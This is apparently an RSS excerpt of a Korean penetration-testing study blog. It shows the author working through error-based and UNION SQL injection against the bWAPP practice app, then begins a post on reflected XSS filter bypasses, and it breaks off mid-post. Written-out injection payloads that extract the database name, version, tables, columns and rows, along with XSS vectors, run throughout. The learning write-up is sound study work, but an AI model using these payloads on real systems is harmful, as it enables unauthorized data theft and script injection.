&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;361&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdJX2D/btsPe3AZi3B/pQky0afDsKx3kKUUQrbcHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdJX2D/btsPe3AZi3B/pQky0afDsKx3kKUUQrbcHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdJX2D/btsPe3AZi3B/pQky0afDsKx3kKUUQrbcHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdJX2D%2FbtsPe3AZi3B%2FpQky0afDsKx3kKUUQrbcHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;361&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안됨,, ㅠㅡㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이젠 어디서 오류가 났는지도 안알려주는구만,...........................&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것저것 해보다가 ①이랑 짬뽕해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)a) #&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 해봤더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjQmVf/btsPg0CljdY/MfKneRzR5hLvNvZMBC8Ruk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjQmVf/btsPg0CljdY/MfKneRzR5hLvNvZMBC8Ruk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjQmVf/btsPg0CljdY/MfKneRzR5hLvNvZMBC8Ruk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjQmVf%2FbtsPg0CljdY%2FMfKneRzR5hLvNvZMBC8Ruk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1149&quot; height=&quot;422&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러케 나옴!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x&amp;nbsp;&lt;u&gt;LIMIT&amp;nbsp;0,1&lt;/u&gt;)a)&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 해주니까&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq01mu/btsPg6iaGS8/6wgNCQp5PcAWL14A4OIgfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq01mu/btsPg6iaGS8/6wgNCQp5PcAWL14A4OIgfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq01mu/btsPg6iaGS8/6wgNCQp5PcAWL14A4OIgfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq01mu%2FbtsPg6iaGS8%2F6wgNCQp5PcAWL14A4OIgfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1073&quot; height=&quot;323&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대박~~ 나왓따&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 다른것도 알아봐야징&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- 데이터베이스 버전 추출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;'&amp;nbsp;AND&amp;nbsp;(SELECT&amp;nbsp;1&amp;nbsp;FROM&amp;nbsp;(SELECT&amp;nbsp;COUNT(*),&amp;nbsp;CONCAT(0x3a,&amp;nbsp;version(),&amp;nbsp;0x3a,&amp;nbsp;FLOOR(RAND(0)*2))&amp;nbsp;AS&amp;nbsp;x&amp;nbsp;FROM&amp;nbsp;information_schema.tables&amp;nbsp;GROUP&amp;nbsp;BY&amp;nbsp;x&amp;nbsp;LIMIT&amp;nbsp;0,1)a)&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbJ2jf/btsPfK1POxE/qKBKk7RKxW2mF6f9kh4lr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbJ2jf/btsPfK1POxE/qKBKk7RKxW2mF6f9kh4lr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbJ2jf/btsPfK1POxE/qKBKk7RKxW2mF6f9kh4lr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbJ2jf%2FbtsPfK1POxE%2FqKBKk7RKxW2mF6f9kh4lr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;328&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- 테이블명 추출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='bWAPP' LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;339&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ln9TY/btsPfhTgCa0/xgRJO7VxwSaJXDHorOhus1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ln9TY/btsPfhTgCa0/xgRJO7VxwSaJXDHorOhus1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ln9TY/btsPfhTgCa0/xgRJO7VxwSaJXDHorOhus1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fln9TY%2FbtsPfhTgCa0%2FxgRJO7VxwSaJXDHorOhus1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;912&quot; height=&quot;339&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;339&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- 컬럼명 추출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_schema='bWAPP' &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;AND table_name='blog'&lt;span&gt; &lt;/span&gt;&lt;/span&gt;LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vL6bm/btsPgCV1eVA/ikAwAW78wZXE2dbSNaQelK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vL6bm/btsPgCV1eVA/ikAwAW78wZXE2dbSNaQelK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vL6bm/btsPgCV1eVA/ikAwAW78wZXE2dbSNaQelK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvL6bm%2FbtsPgCV1eVA%2FikAwAW78wZXE2dbSNaQelK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;329&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- 데이터 추출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT concat_ws(0x3a, id&lt;/span&gt;) FROM bWAPP.blog LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OXQfB/btsPe7ch4fH/lxarK6jzqjy2L7Uc5dbTV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OXQfB/btsPe7ch4fH/lxarK6jzqjy2L7Uc5dbTV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OXQfB/btsPe7ch4fH/lxarK6jzqjy2L7Uc5dbTV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOXQfB%2FbtsPe7ch4fH%2FlxarK6jzqjy2L7Uc5dbTV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1042&quot; height=&quot;883&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;??? 이게 맞나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러가 안나고 데이터가 다 출력돼버림 ㅇㅅㅇ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 데이터를 추출한거니까 맞나..?&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;암튼 이거 하다가 알아낸 사실!&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;UNION-Based SQLI에서 컬럼명 찾다가 포기했었는데&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;무식하게 &lt;b&gt;' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables&amp;nbsp;#&lt;/b&gt; 로 해서 그런거였다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;' UNION SELECT 1,2,3, column_name,5,6,7 FROM information_schema.columns #&lt;/b&gt; 로 하면 되려나&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qhleN/btsPe5ZRLJM/C6WulbfAiDwiexqLD5TibK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qhleN/btsPe5ZRLJM/C6WulbfAiDwiexqLD5TibK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qhleN/btsPe5ZRLJM/C6WulbfAiDwiexqLD5TibK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqhleN%2FbtsPe5ZRLJM%2FC6WulbfAiDwiexqLD5TibK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1295&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1295&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ 감격,, 잘나와욘,,&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/6</guid>
      <comments>https://songtoy.tistory.com/6#entry6comment</comments>
      <pubDate>Fri, 4 Jul 2025 16:23:34 +0900</pubDate>
    </item>
    <item>
      <title>XSS - reflected (GET)</title>
      <link>https://songtoy.tistory.com/5</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;bwapp에 로그인 후 실습해보기!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1114&quot; data-origin-height=&quot;691&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mUrMH/btsN2JIvCJP/ZurDPYFakXbYuuw1FpD8JK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mUrMH/btsN2JIvCJP/ZurDPYFakXbYuuw1FpD8JK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mUrMH/btsN2JIvCJP/ZurDPYFakXbYuuw1FpD8JK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmUrMH%2FbtsN2JIvCJP%2FZurDPYFakXbYuuw1FpD8JK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1114&quot; height=&quot;691&quot; data-origin-width=&quot;1114&quot; data-origin-height=&quot;691&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;first name에 1, last name에 2를 넣고 go를 누르면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET방식으로 값이 넘어가는걸 확인할 수 있다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;364&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBawYR/btsN1ZSTItj/BHO3WKElCHfWD9HmhMdk9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBawYR/btsN1ZSTItj/BHO3WKElCHfWD9HmhMdk9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBawYR/btsN1ZSTItj/BHO3WKElCHfWD9HmhMdk9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBawYR%2FbtsN1ZSTItj%2FBHO3WKElCHfWD9HmhMdk9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;823&quot; height=&quot;364&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;364&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4YnfL/btsN2smI4vX/K6lpky3RosFgkqk6Jt4MlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4YnfL/btsN2smI4vX/K6lpky3RosFgkqk6Jt4MlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4YnfL/btsN2smI4vX/K6lpky3RosFgkqk6Jt4MlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4YnfL%2FbtsN2smI4vX%2FK6lpky3RosFgkqk6Jt4MlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;502&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;스크립트 태그가 막혀있을 때 쓸 수 있는 것&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 이미지를 정상적으로 불러올 수 없을때 alert창 띄움&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;507&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2qrMg/btsOb7pfJz8/7dsF46ZSoTR2a4mUjld3ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2qrMg/btsOb7pfJz8/7dsF46ZSoTR2a4mUjld3ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2qrMg/btsOb7pfJz8/7dsF46ZSoTR2a4mUjld3ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2qrMg%2FbtsOb7pfJz8%2F7dsF46ZSoTR2a4mUjld3ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;507&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;507&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;iframe src=x width=&quot;100&quot; height=&quot;100&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biLKTK/btsObwC6xIc/d1wHsP7EK97LX3VOhes68K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biLKTK/btsObwC6xIc/d1wHsP7EK97LX3VOhes68K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biLKTK/btsObwC6xIc/d1wHsP7EK97LX3VOhes68K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiLKTK%2FbtsObwC6xIc%2Fd1wHsP7EK97LX3VOhes68K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;584&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&amp;lt;object data=x type=&quot;text/html&quot; width=&quot;100&quot; height=&quot;100&quot;&amp;gt;111&amp;lt;/object&amp;gt;&lt;/s&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQ9oub/btsOb7QmAxJ/Vvlph2s0Kavo6qkP2Y28TK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQ9oub/btsOb7QmAxJ/Vvlph2s0Kavo6qkP2Y28TK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQ9oub/btsOb7QmAxJ/Vvlph2s0Kavo6qkP2Y28TK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQ9oub%2FbtsOb7QmAxJ%2FVvlph2s0Kavo6qkP2Y28TK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;458&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이건 이제 죽은태그라고 함,,, 암것두 안뜨네&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이거말고 iframe 태그를 사용하자&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;a&amp;nbsp;href=&quot;javascript:alert(1);&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceD0Z8/btsObLz16hl/QBVCF7VD91F9QIj2aGJqxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceD0Z8/btsObLz16hl/QBVCF7VD91F9QIj2aGJqxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceD0Z8/btsObLz16hl/QBVCF7VD91F9QIj2aGJqxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceD0Z8%2FbtsObLz16hl%2FQBVCF7VD91F9QIj2aGJqxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;826&quot; height=&quot;512&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눌러보세요 누르면&lt;/p&gt;
